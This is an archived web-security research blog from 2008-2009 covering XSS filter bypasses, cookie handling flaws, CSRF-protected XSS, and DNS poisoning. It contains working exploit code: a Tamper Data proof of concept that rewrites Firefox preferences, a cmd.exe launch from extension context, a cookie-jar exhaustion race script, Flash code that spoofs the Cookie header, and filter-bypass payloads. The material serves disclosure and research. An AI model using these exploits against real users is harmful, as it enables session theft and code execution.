Alex's Corner

It's been a while

2009-07-16T17:08:00.000+10:00

So it's been a while since I've posted anything here, mostly because this blog was the product of a hell of a lot of free time (aka high school), I've been going to uni full time and working part time, which hasn't left me with a lot of free time, and on top of that I figured out that if I put the same content into slides, rather than writing blog posts, I can present it at conferences (selling out++) and have a fun time doing so.

In any case, I did some presentations recently and thought I should probably put details up here.

I did a talk last November at Power of Community and XCon about the Same Origin Policy and some new ways of looking at it, where most of the new material was along the line of the GIFAR attacks Billy Rios came up with that Nate McFeters, etc, ended up presenting at BlackHat which took a lot of the wind out of my sails *shrug*, it should be interesting as it covers a lot of other things and points people in some uncommon directions, I've uploaded the paper I wrote and the slides here:

Slides
Paper

I also did a talk at RUXCON and 25c3 with Stefano Di Paola (and I even spelled his surname correctly this time! ^_^) called Attacking Rich Internet Applications, so here are some materials:

RUXCON Slides
25c3 Video Recordings

I never ended up releasing this while it worked since I didn't want to kill a bug, but if you look at the video or were at the presentation you may have seen me demonstrate an exploit for Tamper Data, the bug is almost identical to this one that I had claimed was exploitable. While my rationale in that post was incorrect (due to me testing with an old version of Tamper Data which was vulnerable in the way described), I came up with an interesting exploit for the bug in Firefox 3 which could have gained me code execution by editing about:config entries.

Here is the PoC exploit:


<?php
//This is just a PoC, have a look through about:config for any _string_ entry you would want to change
//This bug is kind of lame, but the exploit is cool, since it uses a Firefox bug to do damage (this should be unexploitable)
//Bug fires when a user graphs a malicious http request (open tamper data, graph the attack request)
header ("HTTP/1.1 200 OK<BR><B>Mime Type</B>: text/html\",event);' onMouseOut='hide_info();'><script>opener.oTamper.preferences.PREFERENCES_ROOT='';opener.oTamper.preferences.init();opener.oTamper.preferences.setString('app.update.url', 'jajaja');</script><g/='");
?>

The bug is triggerable on old Tamper Data versions where the Graph Requests functionality worked, and if you graphed the malicious request/response the exploit would set the app.update.url would be set to jajaja.

The bug works by abusing a lack of access control on any objects that extensions create in their windows (It wasn't just Tamper Data, it happened in other extensions), where it was possible to read and modify the objects, and more importantly: call their functions. When you called a function that an extension had created, it was executed in the context of the extension, namely chrome code.

It did not end up being necessary or useful for this exploits, however it was possible to call those functions and completely control all the data, etc, via calls such as opener.oTamper.whatever_function.apply(our_obj).

In any case, the access control bug died some time in the last few Firefox 3.0.X releases, but I'm not really sure which since the graphing functionality in Tamper Data hasn't been working for even longer, and it got to be too much effort to double check it.

I also did a presentation at the OWASP Australia Conference in February titled "Examining and Bypassing the IE8 XSS Filter", which might be some nice background for people, but will probably be greatly surpassed by sirdarckcat & thornmaker's upcoming Black Hat presentation. Here are the Slides.

I also did a presentation on Writing Better XSS Payloads at EUSecWest in May, however I haven't uploaded the slides since I'm trying to submit it to Hack In The Box Malaysia to have the material reach a wider audience, so unless it is rejected, you'll have to wait until then to see it... Or email me.

And that's all for now...

Dynamic XSS Payloads in the face of NoScript

2008-09-24T18:35:00.002+10:00

While participating in the CSAW CTF on the weekend before last with s0ban, sirdarckcat and maluc (which we won btw, with 16375 points; RPISEC who placed second had 13575 points, go us ;), I had an interesting thought; one of our attacks was a persistent xss attack that loaded it's payload from off-site so that we could gain some level of persistent control, however I realised that this attack would fail completely in the face of NoScript even if our xss succeeded since the person would not have our malicious domain whitelisted.

So, in light of that, I was thinking of how we could load our payload from off-site, without the remote site running JavaScript. Of course, I am assuming you have already bypassed NoScript's XSS Filters (e.g. because the attack was persistent), but this information is particularly useful for persistent attacks when you may want to change the payload.

After thinking about this for a while, I realised that we've already solved the problem a while ago when we were talking about using TinyURL for data storage way back in 2006: http://kuza55.blogspot.com/2006/12/using-tinyurl-for-storage-includes-poc.html.

Of course TinyURL would be of no use to us here as we are interested in being able to change our payload, however all it would require to be useful is (possibly some kind of synchronisation so that we execute in the order we want, rather than the order we get data back from our evil web server and) changing the URL to point to a domain you control.

Nothing really ground-breaking, but something interesting nonetheless.

IE8 XSS Filter

2008-09-04T16:37:00.003+10:00

IE8 came out recently and a bunch of people have already commented about the limitations of the XSS Filter.

But there are a few more issues that need to be looked at. First of all, if anyone hasn't already done so, I recommend reading this post by David Ross on the architecture/implementation of the XSS Filter.

After talking Cesar Cerrudo, it became clear that we both came to the conclusion that the easiest way to have a generic bypass technique for the filter would be to attack the same-site check, and we both came to the conclusion that, if we can somehow force the user to navigate from a page on the site we want to attack to our xss, then we've bypassed the filter.

If the site is a forum, or a blog, then this becomes trivial as we're allowed to post links, however even if we cannot normally post links this is still trivial as we can inject links in our XSS as the XSS Filter doesn't stop HTML Injection, in any case read this for more details.

However, this is not the only way to force a client-side navigation. One particular issue (which is normally not considered much of a vulnerability, unless it allows xss vulns) is when an application lets users control the contents of a frame, this is often seen in the help sections of web apps. However navigation caused by an iframe seems to be considered somehow user-initiated (or something) and the same-site check is applied so that if we point a frame on a site to an xss exploit, the xss exploit will trigger.

Initially I had thought this would extend to JavaScript based redirects of the form:
document.location = "http://www.site.com/user_input";
or in the form of frame-breaking code, however this does not seem to be the case. IE attempts to determine whether a redirect was user-initiated or not and if it decides it is not user-initiated then it does not apply the same-site check and simply initiates the XSS Filter, though as with the popup blocker before it has some difficulty being correct 100% of the time, e.g. this counts as a user-initiated navigation:

<a name="x" id="x" href="http://localhost/xss.php?xss=<script>alert(7)</script>">test</a>
<script>
document.links[0].click();
</script>

However this is probably a very unrealistic issue as we need to vulnerable site to actually let the attacker create such a construct.

Furthermore HTTP Location redirects and Meta Refreshes are also not considered user navigation so filtering is always applied to those, therefore Open Redirects are pretty irrelevant to the XSS Filter.

However, Flash-based redirects do not seem to be considered redirects (which is unsurprising given that IE has no visibility into Flash files) and so any Flash-based redirects can be taken advantage of to bypass the xss filter, though if they require a user to click then it is probably simply easier to just inject a link (as described in Cesar's post)

And that's about all I could think of wrt that check :S

However, if you go read Cesar's post you'll see we now do have a method to generically bypass the IE8 XSS Filter, and it only requires an additional click from the user, anywhere on the page.

In a completely different direction, When I first read the posts that said the XSS filter was going to prevent injections into quoted JavaScript strings, my first thought was "yeah, right, let's see them try", as I had assumed they would attempt to prevent an attacker breaking out of the string, however the filter has signatures to stop the actual payload. Essentially the filter attempts to stop you from calling a JavaScript function and assigning data to sensitive attributes, so all of the following injections are filtered:

"+eval(name)+"
");eval(name+"
";location=name;//
";a.b=c;//
";a[b]=c;//

among a variety of other sensitive attributes, however this does still leave us with some limited scope for an attack that may be possible in reasonably complicated JavaScript.

We are still left with the ability to:
- Reference sensitive variables, which is esnecially useful when injecting into redirects, e.g.
"+document.cookie+"
- Conducting variable assignments to sensitive data, e.g.
";user_input=document.cookie;//
or
";user_input=sensitive_app_specific_var;//
- Make function assignments, e.g. (Note though that you can't seem to assign to some functions e.g. alert=eval doesn't seem to work)
";escape=eval;//

Also, like the meta-tag stripping attack described by the 80sec guys (awesome work btw, go 80sec!), we can strip other pieces of data (which look like xss attacks) such as frame-breaking code, redirects, etc, but note we can't strip single lines of JS as the JS block needs to be syntactically valid for it to start getting executed, so anything potentially active which acts as a security measure beyond the extent of it's own tag can be stripped.

It's also worth noting that XSS Filter doesn't strip all styles, it only strips those that would allow more styles to slip past it and styles which can execute active code (which is pretty much just expression() )

And that's all for me at the moment; if anyone's looking for an interesting area for research, see if the IE8 XSS Filter always plays nice with server-side XSS Filters, who knows, maybe being able to break the context by getting the filter to strip stuff you can get your own html to be rendered in a different context that the server-side filter didn't expect.

P.S. Take this all with a grain of salt, this has been derived through black-box testing, and as such any of the conclusions above are really just educated guesses.

P.P.S Good on David Ross and Microsoft for making a positive move forward that's going to be opt-out. Obviously everyone is going to keep attacking it and finding weaknesses, but even if this only stops the scenario where the injection is right in the body of the page, then it's a huge step forward for webappsec; if this effectively blocks injections into JavaScript strings then ASP.NET apps just got a whole lot more secure.
Though I still think the HTML-injection issue needs to be fixed, because even if it's an additional step, users are going to click around and we're just going to see attackers start utilising HTML injection

P.P.P.S. Don't forget this is based on security zones, so it can be disabled and is by default opt-in for the intranet zone, so all those local zone xss's for web servers on localhost or xss's for intranet apps are going to be largely unaffected

Thoughts on the DNS patch/bug

2008-08-06T21:42:00.003+10:00

Is it just me, or does the DNS patch only seem to buy us more time?

At most this decreases the chance of a succesful attack 65k times, at worst it doesn't help because of NAT, and if you're running a default MS <= win2k3 OS then it's 2.5k times.

Honestly, I haven't had time to play around with any of the exploits floating around, but given 1 attempt = at most 2 packets (though it's probably much closer to 1, since you can try lots of responses per packet), we can send 32k packetrs pretty quickly, and the figures here also seem to say it works pretty damn quickly.

I'm not going to do any figures, but given how network speeds seem to go constantly upwards (or do we want to speculate about an upper cap?), we're going to reach a problem at some stage where senging 65k times the amount of data is going to be bloody fast again, and this will be an issue all over again.

And if that ever happens; what's left to randomize in the query? nothing as far as I can tell, so is the hope that by then we'll have all switched to DNSSEC, or are we planning on altering the DNS protocol at that point?

Anyway, going in a completely different direction, I want to take issue with the idea that seems to be pervading a lot of descriptions of the DNS bug that poisoning random subdomains isn't an issue.

For your typical attack, yes, poisoning random subdomains is kind of useless, however a lot of the web is held together by the idea that absolutely everything in a DNS tree of a domain is controlled by that domain and is to some extent trustworthy (think cookies and document.domain in JavaScript).

Also, it seems odd that given that the fact that you could poison random domains seems common knowledge to some people Dan is nominated for another pwnie award for XSS-ing arbitrary nonexistant subdomains. Sure, that bug gives you the ability to phish people more easil, but to me the biggest part of that seemed to be the fact that you could easily attack the parent domains form there.

Anyway, the patch, while having it's limitations, seems to buy us some time with both these bugs, and in fact should buy us time with any bugs where responses are forged, so that's always a good thing.

Is framework-level SQL query caching dangerous?

2008-08-03T10:11:00.003+10:00

I was in a bookshop a few months ago and picked up a book about Ruby on Rails, and though I sadly didn't buy it (having already bought more books than I wanted to carry) and I've forgotten it's name, there was an interesting gem in there that stuck in my head.

Ruby on Rails' main method of performing SQL queries (ActiveRecord) since 2.0, by default, caches the results of SELECT queries (though it does string-level matching of queries, so they need to be completely identical, rather than functionaly identical) untill a relevant update query updates the table.

I haven't had a chance to delve into the source to see how granularly the cache is updated (i.e. if a row in the cache was not updated in an update, is the cache still invalidated sinc ethe table was updated?), but in any case, it still seems dangerous.

Caching data that close to the application means that unless you know about the caching and either disable it or ensure that anything else that possibly updates the data also uses the same cache, you may end up with an inconsistent cache.

Assuming that flushing the cache is fairly granular operation (or there is very little activity on the table or users are stored as separate tables, or something similar), it seems feasible that if there is any other technology interacting with the same database, it would be possible to ensure that dodgy data is cached in the Rails app.

A possible example would be a banking site where an SQL query like
SELECT * FROM accounts WHERE acct_id = ?
Is executed when you view the account details or attempt to transfer money, then if there was another interface to withdraw money (lets say an ATM even; doesn't have to be web-based) that bypassed Rails' SQL cache it is theoretically possible that if we would be able to withdraw the money, but the Rails app would still think that we had money left.

At this point of course things would become very implementation specific, though there are two main ways I could see this going (maybe there are more):

1. We could be lucky and the application itself subtracts the amount we're trying to transfer and then puts that value directly into an SQL query, so it's as if we never withdrew any money.

2. We could be unlucky and an SQL query of this variety is used:
UPDATE accounts SET balance = balance - ? WHERE acct_id = ?
In which case the only thing we gain is the ability to overdraw from an account where we would not be able to usually; not particularly useful unless you've stolen someone else's account already and want to get the most about it, but it does still allow us to bypass a security check.

Does anyone have any thoughts on this? Is this too unlikely? Is no-one ever going to use Rails for anything sensitive? Should I go and read the source next time before posting crap? etc
Or knowledge of the Rails caching mechanism? I'll probably take a look soon, but given I've been meaning to do this for months...

XSS-ing Firefox Extensions

2008-07-27T20:48:00.003+10:00

[EDIT]:It turns out I fail at testing things on the latest version, see comments for some more details, sorry about that Roee.[/EDIT]

Roee Hay recently posted a blog post on the Watchfire blog about an XSS bug in the Tamper Data extension (it was posted much earlier, but removed quickly; RSS is fun), however when he assessed the impact he was wrong.

The context of the window is still within the extension, and so by executing the following code you can launch an executable:



var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\\WINDOWS\\system32\\cmd.exe");
file.launch();

(Code stolen from http://developer.mozilla.org/en/docs/Code_snippets:Running_applications)

But even then; I had never even heard of the Graphing functionality in Tamper Data, and given the need to actually use the functionality on a dodgy page, the chance of anyone getting owned with this seems very small to me.

Licensing Content

2008-07-21T12:22:00.002+10:00

Now, I am not a lawyer (so I don't know what information can be licensed and what can't), but as far as I know the fact that I have specified no license for the use of content on this blog does not mean it is public domain, or similar.

So, I just wanted to make a quick post about what license the content of this blog is provided under.

All the information on this blog is DUAL LICENSED,
1. If you plan to use it for personal or non-profit purposes you can use it under the Creative Commons "Attribution-Noncommercial-Share Alike 3.0" license.

2. In the case you plain to use it for _any_ other purpose, e.g.:
   a. use the information in any commercial context
   b. implement this information in your non-GPL application
   c. use this information during a Penetration Test
   d. make any profit from it

   you need to contact me in order to obtain a commercial license.

Seems only fair to me :)

P.S. Since realistically the chance of me finding a violation is slim-to-none, and the chance of me actually doing anything about it (e.g. going to court, etc), is even smaller, this is more a statement of my will for the information than anything else.

Some Random Safari Notes

2008-07-12T19:09:00.007+10:00

I got to take a quick look at some Safari stuff at work a few days ago, and came away with a few notes that I thought might interest people about Safari:

Cross-Site Cooking works the same way as it does in Firefox 2.0, namely it works just as the RFC describes and we can set cookies for .co.uk, .com.au, etc.

HttpOnly is not supported.

Safari parses Set-Cookie headers like the RFC says, which means that cookies are comma separated (no other browsers seem to do this), which means that in ASP.NET and JSP, when you use the framework's method of setting cookies and you let the user control the value, they can inject arbitrary cookies by specifying something like ", arbitrary_name=arbitrary_value" as the cookie value.

Referers are not leaked from https to http, but are leaked from one https site to another https site.

The safari cache (at lest on windows) is an SQLite database where all the data is double hex encoded; it looks something like X'aabbccddeeff, etc, and when you strip the first two chars and decode it you get another blob which looks identical to the first one, which you then need to decode the same way and you get an XML document with the data, I wrote this dodgy PHP function to do the conversion for me: (you need to call it twice on the blob you extract from the database)

function decode_blob ($blob) {
 $ret = "";
 for ($i=2,$c=strlen($blob);$i<$c;$i+=2) {
  $ret .= chr(hexdec ($blob[$i].$blob[$i+1]));
 }
 return $ret;
}

On the iPhone (emulator at least; I didn't get to use an actual iPhone), the last character of the password field is shown before you type the next one in (and untill the field loses focus); this makes sense since it's hard to type on iPhones, but it's still curious.

Safari on the iPhone (emulator, again) doesn't seem to actually close, so unless you close the emulator (I'm assuming this is equivalent to turning off your iPhone; if that's even possible), all session cookies persist.

Hope that helps someone.

Cookie Path Traversal

2008-07-04T15:29:00.002+10:00

Not sure if anyone actually cares about this, but thought I might just throw it out here: I found out a while ago that if a server is running IIS (or something else which accepts windows-style paths), then it is possible to get cookies sent to paths that they do not belong to by using an encoded backslash to indicate a directory delimiter like this: http://www.microsoft.com/en/us/test/..%5Cdefault.aspx

It works on all the browsers I tested (latest versions of IE, Firefox, Opera & Safari).

Not really useful, maybe on the off chance that, say, you need httpOnly cookies for some reason, and you can see headers for part of a path (e.g. because there's a phpinfo page in the root, but the cookie is for /app), or whatever, supposedly this was considered a security issue by Secunia way back when you could use %2e%2e/ on all servers in all browsers: http://secunia.com/advisories/9680/ (Though I think the premise for that bug is that you can't jump pages, which is of course wrong)

Web Browsers and Other Mistakes

2008-06-08T20:21:00.004+10:00

If anyone's interested, I uploaded my Bluehat slides here: http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/ (view online) and here: http://www.slideshare.net/kuza55/web-browsers-and-other-mistakes-presentation/download (download ppt)

Hopefully you get something out of them.

How much do you trust your DNS operator?

2008-04-12T22:16:00.006+10:00

TechCrunch recently broke a story about Network Solutions hijacking users' unused subdomains for advertising. It seems to have only applied to people using Network Solutions for their shared hosting, and seems to have been removed now. (None of the IPs I tested on the same machine returned advertising for their non-existent subdomains) And on top of that we know that anyone who is on shared hosting is pretty easy pickings anyway, so this would seem to be a non-issue regarding security.

But Network Solutions doesn't exactly have the cleanest record in terms of ethics and there isn't anything technically stopping Network Solutions or any other company operating NS servers for your domain doing the same thing even if they're not hosting your content.

So given that this is a security blog, and definitely not an ethics blog, why am I talking about this? Because it introduces security problems.

As I talked about in previous posts about cookies, they are almost always sent to subdomains, and if your DNS operator implements something like this then all your users' cookies are being sent to your DNS operator's servers, which means that your cookies are taking two specific network paths which both have to be secure for your credentials to remain safe (three if you count that the DNS request has to be safe).

Now you may trust that your DNS provider isn't going to do anything intentionally malicious with the cookies, and are probably making the valid point that worrying about people having owned other networks being a vague and impractical threat to defend most websites against, but there is a much simpler risk involved here.

Network Solutions has made no effort to secure these pages from XSS, and why would you? They're essentially brochureware domains. Anyone who has probed a parked domain for XSS has probably seen that they have plenty of XSS holes, and the pages Network Solutions served for non-existent were the same pages that they serve on parked domains.

So after googling to find a parked Network Solutions domain, I found it was unsurprisingly trivial to XSS it via the search field.

So; how much do you trust your DNS operator?

HTTP Range & Request-Range Request Headers

2008-02-23T10:10:00.006+11:00

For those that haven't heard of the Range header, here's a link: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2

For everyone who can't be bothered reading a link; essentially the Range header is what you use to ask a server for a part of a response, rather than the whole response; it's what makes resumeable downloads possible over http.

Anyway, another piece of research I presented at 24c3 is pretty simply, but rather useful:

Flash

If Flash were to allow us to send a Range header, then we would be able to get things sent to us completely out of context.

Until Apache 2.0 this header was only used when requesting static files, so it would not influence a typical XSS, however if we have an application such as vBulletin which protects against FindMimeFromData XSS attacks by searching the first 256 bytes for certain strings, then we can simply place our strings after the first 256 bytes and get Flash to send a header which looks like this:
Range: bytes=257-2048
To have unscanned data sent in the first 256 bytes, leading to XSS.

However since Apache 2.0 (and possibly in other webservers, but they're irrelevant to this post), the Range handling code is implemented as a filter; this means that it is applied to the output of every request, even if they are dynamic requests.

This means that if we were to have a normally unexploitable XSS condition where our use input was printed to the page inside an attribute with quotes either encoded or stripped, but all other metacharacters left intact, or an xss filter did not encode the html attributes you had at all like so:
<a href=“http://site.com/<script>alert(1)</script>”>link</a>

Then we could use the Range header to request only our unencoded portion which would result in XSS.

Now, why is this important since Flash has never let anyone send a Range header?

Well, while looking through the Apache source code I found this beautiful snippet:

if (!(range = apr_table_get(r->headers_in, "Range"))) {
range = apr_table_get(r->headers_in, "Request-Range");
}

Which essentially says that if you can't find a Range header, look for a Request-Range header, and untill the latest version of Flash (9,0,115,0), the Request-Range header was not blocked. (I had hoped this would be unpatched when I presented it, but you can't really hope for much when you sit on a bug for almost half a year...)

Firefox

Now the part I didn't present. In Firefox 3 Firefox implemented the new Cross-Site XMLHttpRequest which, as the name suggests, lets you make cross-site requests and read the responses.

There is some documentation here: http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest

The part of those specs which is relevant to this post is that you can allow Cross-Site XMLHttpRequests by including an XML preprocessing instruction; however you can't just XSS it onto the page as usual because it needs to be before any other data.

However, the XMLHttpRequest object allows you to append both Range and Request-Range headers. And by appending a Range header we can get our XSS-ed instruction to the start of the response, and read the response.

The limitations with this are fairly strict; as far as I can tell, you cannot add to the XHR policy cache with xml instructions, only with headers, and if you attempt to request multiple ranges, then the multi-part boundary which begins the response will be sent before the xml instruction, and so it will not be parsed, so you can only get the contents of the page that are after your XSS point. On the other hand I wasn't even able to get non-GET requests to work with server-side co-operation, so take these with a handful of salt.

On the up side, this does bypass the .NET RequestValidation mechanism since that does not flag on <? However, I doubt this will be very exploitable in many scenarios, though given the amount of .NET apps which are only protected by the RequestValidation mechanism; you're sure to find something.

Racing to downgrade users to cookie-less authentication

2008-02-22T13:09:00.000+11:00

Be warned: this post is a bit out there, and not extremely practical, but I'm posting exploit code and I thought the attack was fun.

If you ever disable cookies and try to use the web you will notice that a surprising number of websites that use sessions still work, especially if they are using a session management framework or were written during the browser wars when a significant number of people still didn't have cookie support in their browser, or were suspicious enough to have them disabled.

All of the cookie-less authentication systems rely on the same idea: passing session tokens through the URL. Other than being bad practice because it gets logged, etc, FUD, etc, they also get leaked through referers to 3rd parties. So if we can get an persistent image pointing to our server, then we will have the session tokens leaked to us. And it does have to be persistent, because unlike cookies, session tokens passed in the URL are not implicit and are not attached to our reflected html injections.

However this is usually never raised as an issue because everyone has cookies enabled these days, and this attack doesn't work against anyone.

However, how do web applications which need to work without JavaScript detect if a user's browsers supports cookies? They simply set a cookie, and then when the user logs in they verify whether a cookie was sent, and if it was not they then start putting the session id in all the links and forms on a page. Some applications also check on every subsequent page if they can set a cookie, and if they can there is no way to degrade to cookie-less auth again.

As I wrote previously; I discovered that in Firefox and Opera we can exhaust the cookie limit to delete the user's old cookies.

If we assume that we will have the user browsing both a site which degrades to cookie-less auth and our malicious site at the same time then if you think about this then you can see that there is a race condition between when the server sets the cookie and the user logs in (and in some applications between when a page is served and the next html request is made).

The question is; can we win this race?

In Firefox, it takes approximately 100 miliseconds on my machine to set 1000 cookies over 20 hostnames, with 1 hostname per iframe. So we can win any race.

In my testing Opera is much faster at navigating between pages and setting cookies, however I'm still unsure if we can win this race in Opera.

I think the code at the end of this post can be improved by having the iframes on hostnames which looks like a.b.c.d....z.123.ccTLD and are 256 characters long and is made up of 126 levels of hostnames, where the first 125 levels are single character portions, so as to maximise the number of levels on the hostname.

And then in each iframe we would set the max number of cookies for .a.b.c.d....z.123.ccTLD then .b.c.d....z.123.ccTLD and then .c.d....z.123.ccTLD etc, until we set a cookie for 123.ccTLD - this would mean we do not havew to navigate between pages at all, and we could do opera's 65536 max cookie limit in 18 iframes; however before doing this we might have to force a lookup to all 2815 hostnames so that we don't hit a bottleneck in Opera's cross-site cooking code.

However, if we cannot get things as fast as in Firefox, we may still be able to win some races.

A lot depends on the application, but the easiest case is where we only have to win one race, and we can keep racing, such as the Phorum software which runs sla.ckers.org; it sets a temporary cookie which it checks the existence of when you login, and if it is not there when you login, it uses cookie-less auth for the whole session.

So our race here is against how long it takes the user to fill in the login page; and considering that if we lose the race we end up deleting all the cookies, we simply race again and again.

vBulletin on the other hand, is a much tougher beast. It tries to set a cookie on every page, even when you have begun using cookie-less auth, and also has a redirect page which redirects you in 2 seconds.

So not only do we have to win every race until a user views our image, we also have to be able to beat a two second race.

We can probably stop the redirect happening by simply running our code (which lags the system a bit), and winning the race like that, but winning the race 100% of the time may still be difficult, and would lag the system enough for the user to think of closing the tab/window.

However, when we race we race against everything, so the code we use is identical between applications, and would only have to change between browsers.

Anyway, here's some code for Firefox which spins when it doesn't need to be racing, i.e. when it has completely saturated the cookie jar and writing any additional cookie would simply overwrite earlier cookies that our script set, so that it only lags the system in bursts.

You need to have 20 subdomains setup which point to the second file; the easiest way to do this is just wildcard DNS. And have the first file setup on the parent domain, e.g. [1-20].localhost & localhost

main.php:

<html>
<body>
<script>
document.domain = document.domain;

var numloaded = 0;
var tries = 0;

function loaded() {
 if (++numloaded == 20) {
  go();
 }
}

var numnotified = 0;

function notify() {
 if (++numnotified == 20) {
  numnotified = 0;
  window.setTimeout ('poll()', 300);
 }
}

var time = new Date();

function go() {
 numnotified = 0;
 document.cookie = 'testing=1';
 for (var n=0;n<20;n++) {
  window.frames[n].go();
 }
}

function poll() {
 var missing = 0;
 for (var n=0;n<20;n++) {
  missing = missing + window.frames[n].poll();
 }
 if (missing>0) {
  go();
 } else {
  window.setTimeout ('poll()', 300);
 }
}

</script>
<?php
for ($i=0;$i<20;$i++) {
 print '<iframe src="http://'.($i+1).'.localhost/cookie_sub.php" style="visibility: hidden" width="1" height="1"></iframe>';
}
?>
</body>
</html>

cookie_sub.php:

<?php
header ("Expires: Fri, 17 Dec 2010 10:00:00 GMT");  //To speed up repeated attacks
?>
<html>
<body>
<script>

 document.domain = 'localhost';
 window.parent.loaded();

function go() { 

 for (var n=0;n<50;n++) {
  document.cookie = n+"=1";
 }

 
 window.parent.notify();
}

function poll () {
 if (document.cookie.split('; ').length==50) {
  return 0;
 } else {
  return 1;
 }
}

</script>
</body>
</html>

Exploiting CSRF Protected XSS

2008-02-22T13:08:00.007+11:00

XSS vulnerabilities which are protected by CSRF protections, are usually considered unexploitable due to the fact that we have no way of predicting the CSRF token.

However, these protections do nothing more than check that the user is first "logged in" and that the CSRF token they sent is tied to their session; nowhere in this chain of events is there a condition which states that an attacker must be forcing the victim to use their own session identifier (cookie).

If we are able to force the victim to send a request which contains the attacker's cookie, CSRF token and XSS payload, then we will pass the CSRF protection checks and have script execution.

A General Case

So how would we go about this? As I mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post, Flash (until 9,0,115,0 and not in IE) allows us to spoof the Cookie header for a single request, however this suffers from the same problem that we cannot completely over-write cookies; only add an additional Cookie header.

This is indeed a possible attack vector though; if we first make sure the user is "logged out" (and also has no value for the login cookie) either by simply waiting, using a CSRF attack to log the user out (and hoping the website also clears it's cookies), or exhausting the browser's cookie limit, we can then add our own Cookie, CSRF token and XSS payload to the request using similar Flash code e.g.

class Attack { 
 static function main(mc) {
  var req:LoadVars = new LoadVars();
  req.addRequestHeader("Cookie", "PHPSESSID=our_valid_session_id");
  req.x = "y";
  req.send("http://site.com/page.php?csrf_token=our_csrf_token&variable=",
  "_self", "POST");
  // Note: The method must be POST, and must contain
  // POST data, otherwise headers don't get attached
 }
}

Then the application will receive a request with our (the attacker's) session id, a valid CSRF token and our XSS payload from the victim's browser.

Of course, the problem with this is that if the user is actually logged out (which we forced, due to our inability to simply over-write the cookie or stop it being sent) and the browser no longer has the victim's cookies, the only attacks we have from this point are the other attacks mentioned in my "Exploiting Logged Out XSS Vulnerabilities" post. And while this is not ideal, it does at least give us something other than an unexploitable XSS.

Cookie tricks

Again, with this technique we can also set a cookie for the specific path, either by having an XSS on a related subdomain or by abusing a cros-site cooking bug, and then the user will still have their original cookie intact and we can simply remove our own cookie from the user's browser once our XSS has fired.

Abusing RequestRodeo

Another case where the user would be logged out is the case where we can somehow get the cookies stripped from the user's request.

The technique I presented at 24c3 talked about abusing one such piece of software which stripped cookies; the RequestRodeo Firefox extension which was created by Martin Johns and Justus Winter which does a good job of protecting against a lot of CSRF attacks by stripping cookies from requests originating from 3rd party sites (i.e. a request going to site.com which was induced by evil.com will not have any cookies attached to it). Which is just what we need.

Of course, this is a nice place to note that this is of course a niche piece of software that doesn't really provide a valid avenue for exploitation in almost any scenario, but as I explained in my post "Understanding Cookie Security" we can also delete all a users' cookies by exhausting the browser's global limit on on the amount of cookies it will store.

Anyway, given that RequestRodeo all cookies (including the ones we are attempting to send via Flash), we still face the problem that we need to be sending a valid session identifier for which we need to be sending a valid CSRF token. We do not face this problem when we remove the user's cookies, and can use the Flash approach outlined above, but we can also use this approach, which has the added benifit of still working on everyone (not just those who are unpatched).

Anyway, one interesting feature of PHP and other frameworks is that they accept session identifiers through the URL. This has of course led to easily exploitable Session Fixation attacks; however in PHP at least, if a cookie is being sent, then the value in the URL is completely ignored.

In our case, no cookie is being sent, since it is either being stripped by RequestRodeo, or has been deleted by us, so we can simply supply our session identifier through the URL, attach our CSRF token and XSS payload and we're done, except in this case the browser still has the user's cookies, and our XSS functions like normal.

The result of this attack is the same as the above if we have deleted the cookies from the user's browser, however if we have stripped the cookies with RequestRodeo or some similar tool/technique/etc, then we have the further benifit of the user still being logged in when our XSS fires.

Other Cookie Tricks

As I wrote in my post "Understanding Cookie Security", if we have an XSS which is largely unexploitable (except via pure Session Fixation) since it is on a subdomain with no accounts, we can use it to set almost arbitrary cookies for other subdomains.

This gives us a perfect avenue, since we can set the path to only over-write cookies for our single CSRF Protected XSS page, and send the appropriate CSRF token and XSS payload for.

Self-Only CSRF Protected Persistent XSS

One case which is much simpler to exploit than the general case though, is where there are CSRF protections on the form where you submit the actual XSS, but the XSS is a persistent XSS for the user, in that it is rendered on another page (which is itself not CSRF protected, since it is used to display rather than edit data)

CAPTCHAs As CSRF Protections

CAPTCHAs are not designed to be CSRF protections, and in certain cases are bypassable.

There are essentially two (not completely broken) types of CAPTCHA systems I have seen in widespread use, one where the plaintext is simply stored in the server-side session and the captcha is included in a form like this:
<img src="captcha.php" />
The other is when a form has a hidden input tag which contains a value which is also inside the image URL, like so:

<input type="hidden" name="captcha_id"  value="1234567890" />
<img src="captcha.php?id=1234567890" />

The first system is trivially bypassed for CSRF & CSRF Protected XSS attacks by simply inserting the CAPTCHA onto a page, or inside an iframe (to strip/spoof referers), and asking the user to solve it.

The second can often be trivially bypassed for CSRF & CSRF Protected XSS attacks since the id is usually not user-dependant and the CAPTCHA does not keep track of what id it sent the user. Therefore the attacker can simply retrieve the appropriate CAPTCHA, solve it, and put the answer along with the corresponding captcha id in the csrf or csrf protected xss attack.

Conclusion

So essentially if we can somehow trick the application into using an attacker's session identifier, either by altering the cookie (e.g. via subdomain tricks, Flash, injecting into Set-Cookie headers, or whatever other trick we can come up with), or by suppressing or deleting the cookie and passing the identifier through another means such as the URL, then all CSRF protected XSSs are exploitable.

However if we cannot, then we can still exploit some scenarios such as self-only CSRF protected persistent XSS if the logout/login functionality is not CSRF-protected (which very few are). And we can also bypass the semi-CSRF protection of CAPTCHAs in several cases.

Exploiting Logged Out XSS Vulnerabilities

2008-02-22T13:08:00.006+11:00

Usually when we consider vulnerabilities which are only rendered when a user is logged out (e.g. a side bar which renders a vulnerable login form when logged out, and a menu otherwise), the known methods of attack lie in, first getting the user logged out, and then doing one of the following:

Extracting login information from the Password Manager

Modifying a client-side data store, such as cookies or Flash LSO's to create an attack which fires later when a user is logged in

Conducting a Session Fixation attack

Some new possibilities for attacking these vulnerabilities are:

Reading the Browser Cache via XSS

Semi-Logging the User Out

Reading the Browser Cache via XSS

Most browsers do not let you read pages which have not been explicitly cached, and where the Expires or Cache-Control headers have not been set, except Internet Explorer.

If you use the XmlHttpRequest object to make a request to a resource which has no caching information attached to it you will simply get back the cached copy which may contain sensitive information such as the person's billing details, or other juicy information you an use in other exploits.

But since security people have been parroting on about how websites need to make sure that they don't let the browser cache something because the user may be using a public computer, etc, etc, this is much less viable, however at least we now have a real reason for recommending people to not let the browser cache things.

Semi-Logging the User Out

